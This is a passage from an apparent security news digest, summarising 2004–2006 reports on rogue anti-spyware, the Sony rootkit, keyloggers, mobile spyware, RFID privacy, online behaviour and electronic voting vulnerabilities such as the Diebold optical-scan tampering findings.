SophosLabs reports a man has been fined almost $84,000 for marketing a bogus anti-spyware program, but has warned Web surfers that there are many other fake protection products being unethically promoted on the Internet. Zhijian Chen of Portland, OR, was found to have made thousands of dollars by sending spam messages that fooled people into believing that their computers were infected by spyware, and claiming that a product called "Spyware Cleaner" was the cure. According to court documents, Chen sent out e-mails and advertisements promoting the "Spyware Cleaner" software in exchange for a 75 percent commission on each $49.95 sale.

Category 28.1 *Spyware, Web bugs & cookies*

2006-05-16 **researchers fake anti-spyware ransomware report malicious code research**

DHS IAIP Daily; http://www.eweek.com/article2/0,1895,1963097,00.asp

RESEARCHERS WARN OF FAKE ANTI-SPYWARE.

The latest report issued by Finjan's Malicious Code Research Center highlights the growth of several emerging breeds of cyber-attack, including the increasing popularity of so-called "ransomware" and viruses that are being spread via fake anti-spyware applications. The anti-virus software maker's research arm said in its Web Security Trends Report, issued on May 16, that the growth of "rogue anti-spyware" and the emergence of hackers looking to hold stolen corporate data up for ransom are two of the fastest growing trends in the security threat landscape. Virus rootkits continue to pose one of the most prevalent and challenging obstacles for IT administrators to overcome, according to the study. In these attacks, hackers disguise the malware in programs advertised online as free anti-spyware applications. Once downloaded onto a user's computer, the applications may deliver their own payloads of malicious code or expose affected machines to subsequent attacks. In some cases, the false anti-spyware tools even run fake computer security scans that claim to find existing spyware programs on infected devices. The software then directs the computer's user to a Website where the user is encouraged to purchase a full version of the free application already on the PC. To download report, follow link and click on “Security Trends Report”:
http://www.finjan.com/Content.aspx?id=827#SecurityTrendsReport

---

28.2 Scumware

Category 28.2 Scumware

2005-11-11 **CD copy protection suspension Sony spyware DRM XCP rootkit installation patch**

DHS IAIP Daily;
http://www.techweb.com/wire/security/173602071;jsessionid=BH
YE2POHHTY0IQSNDBOCKH0CJUMEKJVN

SONY SUSPENDS CD COPY PROTECTION

On Friday, November 10, Sony BMG Music Entertainment announced that it would stop producing CDs with its XCP copy-protection technology. The move came just a day after nearly every major security firm put out alerts that a Trojan horse was using the XCP (eXtended Copy Protection) software to hide malicious files. A wave of lawsuits has been filed or are about to be filed against Sony for installing the hacker-style "rootkit" on users' PCs without their permission. On Thursday, November 9, Sony BMG posted a news release on its Website that linked to a patch download and the site where consumers are to request help with uninstalling the copy-protection software.

Category 28.2 Scumware

2005-12-04 **spyware scumware Sony rootkit XCP security vendors**

DHS IAIP Daily; http://www.computerworld.com/securitytopics/security/story/0
,10801,106759,00.html

SONY ROOTKIT PROBLEM RAISES QUESTIONS FOR SECURITY VENDORS

Sony BMG Music Entertainment has been lambasted for shipping its spywarelike XCP software on music CDs over the past year, but an important question has gone largely unanswered: Why didn't security vendors catch the problem sooner? Though one security vendor, Finland's F-Secure Corp., was aware of the problems surrounding Extended Copy Protection (XCP), none of the major anti-spyware or antivirus vendors had any idea that something was amiss, according to representatives from Symantec Corp., McAfee Inc., and Computer Associates International Inc. There were two things about XCP that presented challenges for the big security vendors. The first was Sony's use of rootkit techniques to cloak XCP and make it harder to circumvent its copy-protection capabilities. A second problem is that the software was distributed by a trusted company: Sony. Sony has sold an estimated two million CDs containing the copy-protection software, which used special rootkit techniques to hide itself on PCs. Rootkit software runs at a very low level of the operating system and is designed to be extremely difficult to detect. Ultimately, XCP's cloaking ability was used by hackers to write malicious software, a development that prompted Sony to recall its XCP CDs.

Category 28.2 Scumware

2005-12-06 **Sony BMG CD rootkit spyware scumware EFF computer security fix**

DHS IAIP Daily;
http://news.com.com/New+Sony+CD+security+risk+found/2100−100 2_3−
5984764.html?tag=cd.lede

NEW SONY CD SECURITY RISK FOUND

Sony BMG Music Entertainment and the Electronic Frontier Foundation (EFF) digital rights group jointly announced Tuesday, December 6, that they had found, and fixed, a new computer security risk associated with some of the record label's CDs. The danger is associated with copy-protection software included on some Sony discs created by a company called SunnComm Technologies. The vulnerability could allow malicious programmers to gain control of computers that have run the software. The issue affects a different set of CDs than the ones involved in the copy-protection gaffe that led Sony to recall 4.7 million CDs last month. The announcement is the latest result of the detailed scrutiny applied by the technical community to Sony's copy-protected discs, after a string of serious security issues were found to be associated with the label's anti-piracy efforts. Following those revelations, the EFF asked computer security company iSec Partners to study the SunnComm copy protection technology, which Sony said has been distributed with 27 of its CDs in the United States. iSec found the hole announced Tuesday and notified Sony, but news of the risk was not released until SunnComm had created a patch. Sony patch: http://sonybmg.com/mediamax/ List of CDs affected: http://sonybmg.com/mediamax/titles.html

---

Category 28.2 Scumware

2006-04-11 **security risk Web Rebates spyware adware**

DHS IAIP Daily; http://www.it−
observer.com/news/6058/web_rebates_steals_conf idential_personal_information/

WEB REBATES SCUMWARE/SPYWARE A SECURITY RISK FOR COMPUTER USERS.

Security experts at MicroWorld Technologies are stating that a new variant of the "WebRebates" program, "Win32.WebRebates.s," is a serious security risk for computer users. WebRebates claims to offer rebates and discounts when purchasing items on Internet, however it's found to be a Spyware, Adware and a security hazard in many ways. This program monitors browser activity and other operations on your PC. It also pesters your computer with annoying pop-ups, apart from clogging your mailbox with spam. WebRebates comes bundled with many software utilities. Once installed, it tries to get additional malware from a series of Websites.

28.3 Keystroke loggers

Category 28.3 Keystroke loggers

2005-11-28 **report keyloggers programs malicious software rampant Internet download**

DHS IAIP Daily; http://www.eweek.com/article2/0,1895,1893515,00.asp

MALICIOUS KEYLOGGERS RUN RAMPANT ON NET

Keylogging programs are the epitome of online stealth, and they're also a mushrooming problem on the Internet. Reports of new keylogging programs soared higher this year, as part of a wave of multifunction malware with integrated keylogging features, according to VeriSign Inc.'s security information company iDefense Inc. The programs often evade detection by anti-virus tools and can be difficult to detect once installed, experts warn. More than 6,000 keylogging programs will be released by the end of this year, according to projections by iDefense. That's an increase of 2,000 percent over the last five years, company officials said. Keyloggers have been around for years and are also sold as legitimate applications -- often as monitoring tools for concerned parents or suspicious spouses -- according to Ken Dunham, director of malicious code at iDefense, in Reston, VA. Malicious keyloggers are increasingly part of modular programs that contain Trojan horse, spamming and remote control features, as well, Dunham said. Anti-virus companies have developed signatures that will stop many of those programs before they can be installed, but new programs with unique signatures are readily available from malicious code download sites.

Category 28.3 Keystroke loggers

2006-02-08 **keyloggers data leakage data theft fraud scam Trojans bank accounts international criminal hackers arrests**

http://www.theregister.co.uk/2006/02/08/france_keylogs_losses/

RUSSIAN KEYLOGGERS HIT BANK CUSTOMERS: FRENCH BANKS LOSE €1M

John Oates wrote in _The Register_:

"Russian scammers used key logging Trojans to steal more than a €1m from French people accessing online bank accounts. The Trojans were sent by email but were not activated until people accessed their online bank accounts. Then the Trojan forwarded on user names and passwords to the crooks. The thieves then used the details to transfer funds to third party *mule* accounts. The worst individual loss was €40,000. French police were told in November 2004 and the scam lasted 11 months. Arrests have been made in Moscow and St Petersburg and several *Ukrainian masterminds* have also had their collars felt."

Mr Oates pointed to an article in The Guardian at
< http://www.guardian.co.uk/france/story/0,,1703777,00.html >
by Kim Willsher with more details.

Category 28.3 Keystroke loggers

2006-05-15 **keyloggers spyware business enterprise strike Websense study**

DHS IAIP Daily; http://www.techweb.com/article/printableArticle.jhtml;jsessionid=NYTZFP2AMAGYQQSNDBGCKHSCJUMEKJVN?articleID=187203291&si te_section=700028

KEYLOGGERS, SPYWARE CONTINUE TO STRIKE ENTERPRISES.

Nearly one in five enterprises have had workers' PCs infected with keyloggers, the worst kind of spyware, a survey released Monday, May 15 said. Keyloggers are a type of spyware, and are used to record keystrokes (and sometimes mouse movements as well) to capture information such as usernames and passwords. They're often planted on consumers' PCs by identity thieves, but are becoming a corporate problem, too. The poll, conducted by Harris Interactive for San Diego-based security vendor Websense, found that 17 percent of IT administrators said that one or more employees had launched a keylogger on their network. In last year's survey, only 12 percent of administrators had acknowledged that keyloggers infected their domains. Bots are also a major problem for corporations, as they are for consumers, the survey showed. Just over a third of administrators (34 percent) were confident that they could keep bots from infecting workers' PCs when those machines weren't connected to the company's network, while almost one in five (19 percent) said that they have had employees' work desktops or laptops hit by a bot.

28.4 Cell/mobile phones/GPS/cameras

Category 28.4 Cell/mobile phones/GPS/cameras

2005-09-19 **data leakage countermeasure photography illicit surreptitious digital camera privacy**

INNOVATION

PHOTO-BLOCKING TECHNOLOGY

Paparazzi, beware! Researchers at Georgia Tech have come up with a way to prevent digital cameras and camcorders from taking surreptitious photos or video. The technology can detect the presence of a digital camera up to 33 feet away and then shoots a targeted beam of light at the lens, neutralizing the recorded image. The neutralizing light continues until the camera lens can no longer be detected. The group has developed a lab prototype consisting of a digital projector with a modified video camera mounted on the top, but team members say they're working on a design that could be commercially manufactured and sold. With the rise in cell phone cameras and other intrusive camera technology, they see the technology as a first step toward ameliorating privacy concerns that are escalating in the face of shrinking camera size, and anticipate that businesses, conferences and exhibit halls with no-photography rules will constitute a ready-made market. (CNet News.com 19 Sep 2005) <http://news.com.com/Crave+privacy+New+tech+knocks+out+digital+cameras/2100-7337_3-5869832.html>

Category 28.4 Cell/mobile phones/GPS/cameras

2006-02-05 **study cell phone tracking tools privacy surveillance espionage security threat**

EDUPAGE; http://news.com.com/2100-1039_3-6035317.html

CELL PHONES AS TRACKING TOOLS

Companies that use cell phones to track people have seen significant increases in business in the past few years. In Britain, firms such as Followus and Verilocation frequently work with employers who want to keep tabs on staff, despite concerns that the service infringes on individuals' civil rights. Kevin Brown of Followus noted that his company's service requires the consent of those being tracked. Users must agree to having their cell phones tracked, and periodic messages are sent randomly to users reminding them that their movements are being followed. Officials at Verilocation pointed to such events as the bombings in London last summer as times when being able to locate all of your employees is highly valuable. Experts on business processes said being able to track employees can allow companies to provide better service to customers by, for example, letting them know exactly where a technician is and when he will arrive at a customer's home. Officials from Liberty, a civil rights group, were unconvinced, saying that employees' rights in the workplace have been eroded and that there is a significant risk that businesses will misuse tracking data.

Category 28.4 Cell/mobile phones/GPS/cameras

2006-03-29 **spy program cell phone snoop call log text messages F-Secure Trojan label FlexiSpy**

DHS IAIP Daily;
http://news.com.com/Spy+program+snoops+on+cell+phones/2100−1 029_3−
6055760.html?tag=nefd.top

SPY PROGRAM SNOOPS ON CELL PHONES.

New software, called FlexiSpy, released in March by Bangkok, Thailand-based Vervata, hides on cell phones and captures call logs and text messages. It is being sold as a way to monitor kids and spouses. The data captured is sent to Vervata's servers and is accessible to customers via a special Website. Security company F-Secure has labeled the software a Trojan. "This application installs itself without any kind of indication as to what it is," Jarno Niemela wrote on the Finnish antivirus maker's corporate blog Wednesday, March 29. In addition, FlexiSpy could be used by miscreants as part of malicious software that targets phones, Niemela wrote.

28.6 RFID tags

Category 28.6 RFID tags

2005-02-10 **RFID radio freqency identifier elementary school ACLU track surveillance privacy civil liberties**

NewsScan; http://apnews.excite.com/article/20050210/D885RJD81.html

CONTROVERSIAL USE OF RFID TECHNOLOGY IN ELEMENTARY SCHOOL

Brittan Elementary School in rural Sutter, California, is requiring students to wear radio frequency identification (RFID) badges that can track their movements in order to simplify attendance-taking, curtail vandalism, and improve student safety. But civil libertarians are alarmed, and ACLU representative Nicole Ozer warns, "If this school doesn't stand up, then other schools might adopt it. You might be a small community, but you are one of the first communities to use this technology." Angry parent Michael Cantrall, who alerted the ACLU to the school's decision to use RFID technology, which is also used to track merchandise, says: "There is a way to make kids safer without making them feel like a piece of inventory. Are we trying to bring them up with respect and trust, or tell them that you can't trust anyone, you are always going to be monitored, and someone is always going to be watching you?" Each student is required to wear identification cards around their necks with their picture, name and grade and a wireless transmitter that beams their ID number to a teacher's handheld computer when the child passes under an antenna posted above a classroom door. But the IDs have been welcomed by some parents, such as one who notes: "This is not Mayberry. This is Sutter, California. Bad things can happen here." (AP 10 Feb 2005)

* * *

NO RFID TAGS FOR SCHOOL KIDS -- AT LEAST FOR NOW

The InCom company, which developed Radio Frequency Identification (RFID) tags to monitor the whereabouts of school children, has pulled out of a deal with Brittain Elementary School in Sutter, California. School principal Earnie Graham says, "I'm disappointed… I think I let my staff down. Nobody on this campus knows every student." Dawn Cantrall, the parent who objected to the system and brought the ACLU in to stop its implementation, remains skeptical: "I'm not convinced it's over. I'm happy for now that kids are not being tagged, but I'm still fighting to keep it out of our school system. It has to stop here." The system was conceived as a way of simplifying attendance-taking, reducing vandalism, and keeping students safe. (San Francisco Chronicle 16 Feb 2005)

http://sfgate.com/cgi-bin/article.cgi?file=/n/a/2005/02/16/financial/f075453S34.DTL

Category 28.6 RFID tags

2005-03-23 **radio frequency identification devices RFID exploits vulnerabilities compromise privacy hole reverse engineering fraud theft**

RISKS; http://www.interesting-people.org/archives/interesting-people/ 23 81

RSA FINDS MORE FLAWS IN RFID

Jacqueline Emigh of eweek.com wrote:

After uncovering a security weakness in a radio-frequency identification tag from Texas Instruments Inc., researchers from RSA Security Inc.'s RSA Laboratories and The Johns Hopkins University are now eyeing future exploits against other RFID products in the interests of better security, one of the researchers said this week. Meanwhile, TI will keep making the compromised RFID tag in order to meet the needs of applications more sensitive to speed and pricing than to privacy, according to a TI official.

The Johns Hopkins University Information Security Institute and RSA first publicized their findings about the RFID security hole in January. In a paper posted at www.rfidanalysis.org, the researchers claim that by cracking a proprietary cipher, or encryption algorithm in one of TI's DST (digital signature transponder) RFID tags, they were able to circumvent the tags' built-in security enough to buy gasoline and turn on a car's ignition. The researchers from Johns Hopkins and RSA reverse-engineered and emulated the 40-bit encryption over two months.

Category 28.6 *RFID tags*

2005-08-02 **identification authentication I&A Social Security Number SSN card RFID radio frequency identification device identity theft legislation proposal Congress**

RISKS 23 96

MISSING THE POINT: RFID TAGS IN SOCIAL SECURITY CARDS

Geoff Kuenning analyzed a misguided application of RFID tags:

I just received an e-mail from my Congressman, David Dreier, touting his efforts to put RFID chips in Social Security cards. Dreier, never noted for clear thinking, writes:

>There is a common sense solution to thwarting identity theft and the fraudulent use of Social Security cards: the cards must be made counterfeit-proof… H.R. 98…improves the integrity of the Social Security card by adding a digitized photo of the cardholder. These Smart Cards will also contain a unique electronic encryption code that will allow employers to verify each applicant's work eligibility prior to hiring. Smart Cards will decrease Social Security information theft and prevent illegal immigrants from using fake or stolen Social Security information to get a job.<

Note that HR 98 doesn't do anything to actually address identity theft, which isn't performed using Social Security cards in the first place. Sensible measures, like making the Social Security Number self-checking, decoupling it from identification, and penalizing corporations who fail to protect SSNs or who misuse them, are notably absent. Instead we have yet another case of technology as a panacea.

But in the current hysterical climate, and with the popular fascination with overhyped technology, I have no doubt that the bill will pass. I also have no doubt that it will have no effect on its true target, illegal immigration, since it will be easy to find low-paid insiders to help forge the "impossible to forge" cards.

Category 28.6 *RFID tags*

2006-03-15 **RFID security computer virus infection paper terrorism evade scanners**

DHS IAIP Daily;
http://www.nytimes.com/2006/03/15/technology/15tag.html?ex=1
300078800&en=24f421ff24864376&ei=5090&partner=rssuserland&em c=rss

STUDY SAYS CHIPS IN ID TAGS ARE VULNERABLE TO VIRUSES.

A group of European computer researchers have demonstrated that it is possible to insert a software virus into radio frequency identification tags (RFIDs), part of a microchip-based tracking technology in growing use in commercial and security applications. In a paper entitled, "Is Your Cat Infected With a Computer Virus?," to be presented Wednesday, March 15, at an academic computing conference in Pisa, Italy, the researchers plan to demonstrate how it is possible to infect a tiny portion of memory in the chip, which can hold as little as 128 characters of information. Until now, most computer security experts have discounted the possibility of using RFID chips to spread a computer virus because of the tiny amount of memory on the chips. Ultimately, by their research, they have introduced a series of worrisome prospects, including the ability of terrorists and smugglers to evade airport luggage scanning systems that will use RFID tags in the future.

29.1 Addiction, games & violence

Category 29.1 *Addiction, games & violence*

2004-12-09 **sociology virtual addiction Greenfield chats instant messaging games hyperstimulation children adolescents teenagers**

NewsScan; http://www.latimes.com/technology/ats-ap_technology10dec09

GET UNPLUGGED

Enough is enough, say experts who think young people need to get a life beyond the Internet. Psychologists Michelle Weill and Larry Rosen write, "It's like being lost in space. You get lost in the world of the Internet, games or multiple instant-message chats." Dave Greenfield, another psychologist specializing in high-tech issues argues: "Until technology gets 'stupid simple,' equivalent to turning on a light or a television set, it's going to eat time and energy. Do I have the right adapter? Or the right battery? Or cable?" Noting that many people buy the latest high-tech gizmos whether they need them or not, Greenfield says: "It points to a larger theme in our culture -- that new things are good and better, and that more is better, and faster is better. And that's not always the case." He's the author of a book called "Virtual Addiction." (AP/Los Angeles Times 9 Dec 2004)

Category 29.1 *Addiction, games & violence*

2004-12-16 **Illinnois videogames crime rental sell**

NewsScan; http://www.latimes.com/technology/la-na-videogame16dec16

ILLINOIS LEGISLATION TO REGULATE OVER-THE-TOP VIDEOGAMES

Illinois may be the first state in the country to regulate the sale and rental of violent and "adult" videogames, including ones such as "Grand Theft Auto: San Andreas," where players kill cops, steal cars, solicit prostitutes and then beat them to get their money back. Two bills being promoted by Illinois Gov. Rod Blagojevich would make it a crime for retailers to rent or sell such violent or sexually graphic material to minors. The videogame industry seems ready to shrug off the governor's proposals, and a spokesman for the Video Software Dealers Association says, "Every time there's a major new release, or a new release of technology, you see new attempts to regulate this industry." (Los Angeles Times 16 Dec 2004)

Category 29.1 *Addiction, games & violence*

2005-09-27 **virus plague cyber-terrorism role-playing game malware infection bug quality assurance QA testing patch vandals**

http://www.securityfocus.com/print/news/11330

GOOD GRIEF: GAMING VANDALS AS CYBER-TERRORISTS

The vandals called _griefers_ who infest computer-based role-playing games took advantage of a new feature called "corrupted blood" in the popular World of Warcraft game community. The feature was originally supposed to be limited to characters in a specific dungeon but the griefers teleported the infected characters into cities and infected pets. As a result, entire cities were depopulated as the plague spread from character to character. The Blizzard Entertainment programmers running the game -- presumably the equivalents of gods -- issued patches that shut down the pandemics. Robert Lemos, writing in SecurityFocus, quoted a game-playing security consultant, Brian Martin, as saying, "Giving it the ability to propagate at all beyond a limited environment definitely reminds us that self-propagating code is likely to bite us in the ass without careful consideration and planning. . . . This also underscores the fact that adequate testing is a requirement for software, as this--and thousands of other bugs--would have easily been discovered and hopefully fixed had the testing been more thorough."

29.2 Cyberdating & cybersex

Category 29.2 Cyberdating & cybersex

2005-01-11 **Internet sociology anonymity role-playing psychology addiction fantasy reality**

NewsScan; http://www.nytimes.com/2005/01/11/health/psychology/11secr.html

'ON THE INTERNET, NO ONE KNOWS YOU'RE A DOG'

Psychologists believe that secret role-playing may be good or bad, depending on the circumstances. Harvard psychology professor Daniel M. Wegner says: "In a very deep sense, you don't have a self unless you have a secret, and we all have moments throughout our lives when we feel we're losing ourselves in our social group, or work or marriage, and it feels good to grab for a secret, or some subterfuge, to reassert our identity as somebody apart." The Internet is famous for accommodating people with multiple personalities, and MIT sociologist and author Sherry Turkle says, "It used to be you'd go away for the summer and be someone else, go away to camp and be someone else, or maybe to Europe and be someone else" -- whereas now many people now use online interactive games to set up families they wish they had or to play out alternative versions of their own lives. "I think what people are doing on the Internet now has deep psychological meaning in terms of how they're using identities to express problems and potentially solve them in what is a relatively consequencefree zone." In further defense of secret lives, New York clinical psychiatrist Jay S. Kwawer says, "Contrary to what many people assume, quite often a secret life can bring a more lively, more intimate, more energized part of themselves out of the dark." (New York Times 11 Jan 2005)

Category 29.2 Cyberdating & cybersex

2005-02-07 **anonymity Internet romance chat room**

NewsScan; http://theage.com.au/articles/2005/02/07/1107625114716.html

A MODERN VALENTINE'S DAY FABLE

A budding romance between a Jordanian man and woman turned into an ugly public divorce when the couple found out that they were in fact man and wife, state media reported on Sunday. Separated for several months, boredom and chance briefly reunited Bakr Melhem and his wife Sanaa in an internet chat room, the official Petra news agency said. Bakr, who passed himself off as Adnan, fell head over heels for Sanaa, who signed off as Jamila (beautiful) and described herself as a cultured, unmarried woman -- a devout Muslim whose hobby was reading, Petra said. Cyberlove blossomed between the pair for three months and soon they were making wedding plans. To pledge their troth in person, they agreed to meet in the flesh near a bus depot in the town of Zarqa, northeast of Amman. The shock of finding out their true identities was too much for the pair. Upon seeing Sanaa-alias-Jamila, Bakr-alias- Adnan turned white and screamed at the top of his lungs: "You are divorced, divorced, divorced" -- the traditional manner of officially ending a marriage in Islam. "You are a liar," Sanaa retorted before fainting, the agency said. (The Age 7 Feb 2005)

Category 29.2 Cyberdating & cybersex

2005-03-14 **Internet increase gambling college students poker tournaments**

EDUPAGE; http://www.nytimes.com/2005/03/14/education/14gamble.html

INTERNET FUELS GAMBLING AMONG COLLEGE STUDENTS

Gambling is seeing a significant upsurge among college students in the United States, a trend many attribute to the combination of television coverage of glitzy poker tournaments and the availability of gambling Web sites. Poker tournaments are showing up on campuses including Columbia University and the University of North Carolina, with waiting lists of students hoping to participate. A poker society at the University of Pennsylvania receives hundreds of responses during the first 30 minutes after a tournament is announced, according to the group's president. Some students, such as Princeton University senior Michael Sandberg, have made large amounts of money--in the past six months, Sandberg has won $30,000 in Atlantic City and another $90,000 playing cards online--and have come to regard gambling as an attractive and lucrative career option. Keith S. Whyte, executive director of the National Council on Problem Gambling, commented that university administrators are not working to raise awareness of the risks of gambling, nor are they offering resources for how to get help, which they do for issues such as substance abuse or date rape. New York Times, 14 March 2005 (registration req'd)

29.3 Digital divide

Category 29.3 *Digital divide*

2005-02-24 **World Bank digital divide organization United Nations World Summit Information Security democracies poverty mobile phones**

EDUPAGE; http://www.reuters.com/newsArticle.jhtml?storyID=7731166

WORLD BANK SAYS DIGITAL DIVIDE CLOSING FAST

The World Bank has released a report contending that the digital divide is closing fast, putting the organization at odds with the United Nations (U.N.), which asserts that the divide is a problem that still needs to be addressed. The U.N. is hosting the World Summit on the Information Society in Geneva, where attendees are expected to call for increased funding to provide access for poorer countries to digital technologies. The U.N. believes that increasing such access will help poorer countries build stable democracies and deal with problems such as poverty. The World Bank cited statistics, however, that seem to contradict the need for ongoing funding to shrink the divide. The group's report said, for example, that in 2002, Africa had 59 million fixed-line or mobile phones, far more than some other estimates. The report also said half the world's population now have access to a fixed-line phone and 77 percent have access to a mobile phone.

Category 29.3 *Digital divide*

2005-06-15 **Internet access rural India villages World Bank thin client technology bridge digital divide**

EDUPAGE; http://www.nytimes.com/2005/06/16/technology/16compute.html

BRINGING THE INTERNET TO RURAL INDIA

As many as 5,000 villages in rural India may soon be connected to the Internet, thanks to efforts of an international group of companies and organizations, including the World Bank. Many rural Indians do not have easy access to business or government functions, and the project is designed to fill that gap for villages with more than 5,000 residents in the Indian state of Karnataka. The computer centers or kiosks will connect to the Internet either through wired networks or by satellite and will have between 5 and 10 "thin client" computers. In addition to the World Bank, partners in the project include Comat Technologies, an Indian Internet service provider; ICICI Bank, a commercial bank in India; and California-based Wyse Technology, maker of computer terminal equipment. New York Times, 15 June 2005 (registration req'd)

Category 29.3 *Digital divide*

2006-04-26 **digital divide shrink IBM _The Economist_ study worldwide**

EDUPAGE; http://news.com.com/2100-1034_3-6065240.html

DIGITAL DIVIDE SHRINKING

According to a study conducted by IBM and "The Economist" magazine, although the digital divide remains considerable for some countries, the gaps are shrinking. The study assessed both availability and use of technology in 68 countries and assigned each an "e-readiness" score on a scale of 1 to 10. The gap from the top of the list (Denmark, 9.00) to the bottom (Azerbaijan, 2.92) is indeed significant, but in certain regions of China and India, connectivity rivals that of developed nations, according to Peter Korsten, European director at IBM's Institute for Business Value. The study noted that nearly every country's score improved from last year but that countries nearer the bottom of the list saw greater gains than those in the upper tiers, indicating a shrinking digital divide overall. Beyond the issue of connectivity lies the question of what efforts each country makes to use technology. As Korsten said, "It's up to governments to take advantage with education and other initiatives."

29.4 Online & electronic voting

Category 29.4 *Online & electronic voting*

2005-07-13 **electronic voting machines optical scanners vote tampering vulnerabilities hack Diebold report analysis flaws**

RISKS; http://www.blackboxvoting.org/BBVreport.pdf 23 94

DIEBOLD OPTICAL SCAN VOTING MACHINE SUSCEPTIBLE TO TAMPERING

Bruce O'Dell provided an extensive summary of a thorough analysis of the Diebold Optical Scan systems used to tally 25M votes in the 2004 elections in the US. Here are excerpts.

>Harri Hursti, an independent security consultant - with the consent of election officials in Leon County, Florida - was able to take full control of the Diebold optical scan device and manipulate vote totals and audit reports at will.

The Diebold Precinct-Based Optical Scan 1.94w device accommodates a removable memory card. It had been believed that this card contained only the electronic "ballot box", the ballot design and the race definitions; astonishingly enough, the memory card also contains executable code essential to the operation of the optical scan system. The presence of executable code on the memory card is not mentioned in the official product documentation. This architecture permits multiple methods for unauthorized code to be downloaded to the memory cards, and is wide open to exploitation by malicious insiders.

The individual cards are programmed by the Diebold GEMS central tabulator device via a RS-232 serial port connection or via modem over the public phone network. There are no checksum mechanisms to detect or prevent tampering with the executable code, and worse yet, there are credible exploits which could compromise both the checksum and executable. The report notes that this appears to be in violation of Chapter 5 of the 1990 Federal Election Commission Standards for election equipment, and therefore should never have been certified for use.

The executable code is written in a proprietary language, Accu-Basic. Accu-Basic programs are first compiled into ASCII pseudocode, which is then executed by an interpreter residing in the optical scan device. Hursti located an inexpensive device capable of reading and updating the memory cards advertised on the Internet, and using a publicly-available version of the Accu-Basic compiler (found on the Internet, along with Diebold source code and other documents, by Bev Harris in 2003) was able to exploit these vulnerabilities - and publicly demonstrated the ability to modify vote totals and audit reports at will.

According to the report:

"Exploits available with this design include, but are not limited to:

"1) Paper trail falsification - Ability to modify the election results reports so that they do not match the actual vote data

"1.1) Production of false optical scan reports to facilitate checks and balances (matching the optical scan report to the central tabulator report), in order to conceal attacks like redistribution of the votes or Trojan horse scripts such as those designed by Dr. Herbert Thompson.(19)

"1.2) An ingenious exploit presents itself, for a single memory card to mimic votes from many precincts at once while transmitting votes to the central tabulator. The paper trail falsification methods in this report will hide evidence of out-of-place information from the optical scan report if that attack is used.

"2) Removal of information about pre-loaded votes

"2.1) Ability to hide pre-loaded votes

"2.2) Ability to hide a pre-arranged integer overflow

"3) Ability to program conditional behavior based on time/date, number of votes counted, and many other hidden triggers.<

After discussion of the demonstration that all of these vulnerabilities can be exploited, Mr O'Dell added, "The affected Diebold optical scan equipment should be immediately withdrawn from use in any election until independent recertification is achieved, or a secure alternative is obtained. All other election equipment - manufactured by Diebold or by other vendors - should be examined, and if subject to the same vulnerability, should also be withdrawn. An investigation to determine how equipment with such serious vulnerabilities to insider manipulation could ever have been certified should also be launched, and certification and oversight procedures enhanced."

He ended his report with these words: "Good people died to gain and defend our right to vote. Election administration must not be exempt from industry best practices for security, audit and control."

Category 29.4 Online & electronic voting

2005-08-17 **electronic e-voting study grant NSF higher education colleges ACCURATE produce technical standards secure voting systems**

EDUPAGE; http://washingtontimes.com/upi/20050817-124413-4457r.htm

NSF GRANT FUNDS STUDY OF ELECTRONIC VOTING

A team of researchers will use a five-year, $7.5 million grant from the National Science Foundation (NSF) to study electronic voting. The grant will support a research center called ACCURATE, A Center for Correct, Usable, Reliable, Auditable, and Transparent Elections. Based at Johns Hopkins University, the center includes researchers from the University of California, Berkeley; Stanford University; Rice University; the University of Iowa; and California-based research firm SRI International. According to Dan Wallach, associate professor of computer science at Rice, "The basic question is, 'How can we employ computer systems as trustworthy election systems when we know computers are not totally reliable, totally secure, or bug-free?'" The ACCURATE project is expected to produce technical standards for electronic voting and to develop secure voting systems that are easy to use. Washington Times, 17 August 2005

Category 29.4 Online & electronic voting

2005-09-13 **electronic voting vulnerabilities design government research agency report**

RISKS 24 04

NRC REPORT ON ELECTRONIC VOTING

Election officials across the United States are increasingly looking to electronic voting systems as a way to administer elections more efficiently, but skeptics have raised concerns about the security and reliability of these systems. ASKING THE RIGHT QUESTIONS ABOUT ELECTRONIC VOTING, new from the National Academies' National Research Council, offers a set of questions that policy-makers and the public should ask to help ensure that the technologies implemented are secure, reliable, efficient, and easy to use. Advance copies are now available to reporters. The report, which was chaired by DICK THORNBURGH, former governor of Pennsylvania, and RICHARD F. CELESTE, former governor of Ohio, was released on September 13, 2005, and is available free in PDF form at the web site below.

Press release at
http://www4.nationalacademies.org/news.nsf/isbn/0309100240?OpenDocument

Full report at
http://www.nap.edu/catalog/11449.html (sign-in required for the PDF version).

[Contributed by Herb Lin]

Category 29.4 Online & electronic voting

2005-10-03 **electronic voting machines flaws weakness errors fraud disenfranchisement hacking data corruption integrity Diebold**

RISKS; http://josephhall.org/nqb2/index.php/2005/10/03/desi_nc 24 06

NORTH CAROLINA DOCUMENTS REVEAL DIEBOLD VOTING MACHINE VULNERABILITIES

1. In one city, Dallas, NC, a bug appears to have prevented the downloading of 11,945 votes which wasn't caught for seven days. At which point, it appears the county compared paper print-outs from the precinct with the totals reported by the tabulation server. A DESI technician reproduced the bug twice and then decided to forgo usual DESI protocol and loaded the flash-based memory packs directly into the central (GEMS) server to retrieve the votes from the memory pack.

2. In another case, another memory pack "failed to download" and the DESI technician got approval to send a back-up file electronically to DESI technicians who then e-mailed the results back. After writing this data to a memory pack, the on-site technician loaded them into the central server via a tabulator unit.

3. Finally, the document describes hand-entering of "three to five" ballots. DESI claims as a "check and balance" this process doesn't allow the technician to enter more votes than the total vote count (that is, the number of valid plus spoiled ballots). This would implicate that one would be prevented from entering more than a certain number of votes, but, of course, does nothing to constrain what votes are entered. A human looking over the technician's shoulder is the only other constraint.

[Summary by Joseph Lorenzo Hall]

Category 29.4 Online & electronic voting

2005-11-15 **electronic voting glitches errors flaws fraud problems data integrity audit trails**

RISKS; http://josephhall.org/nqb2/index.php/2005/11/11/2005_glitches 24 10

VOTING GLITCHES FROM THE 7 NOV 2005 ELECTION

Joseph Lorenzo Hall provided an extensive list of voting glitches on his Web site. He provided excerpts on RISKS:

* San Joaquin County, California - S.J. County has election night déjà vu

San Joaquin County workers misplaced a memory cartridge for an optical-scan machine. They rescanned the ballots and but haven't found the cartridge. In this story, an official says that the new Diebold TSx DREs that they want to use will make things work more smoothly… although the official doesn't recognize that misplacing the memory cartridge in a paperless DRE would not be as easily recoverable (although I believe you'd still have the ballot images resident in memory, no?).

* Cumberland County, Pennsylvania - Software error forces recount in close race for district judge

Two candidates in a race were both mistakenly listed as being from same party. Straight-ticket votes counted both candidates and initially resulted in over-votes. After this was corrected for, the race was down to a 2-vote margin (1703 to 1701 votes).

* Harwinton, Connecticut - Voting machine snafu may lead to challenge in Harwinton

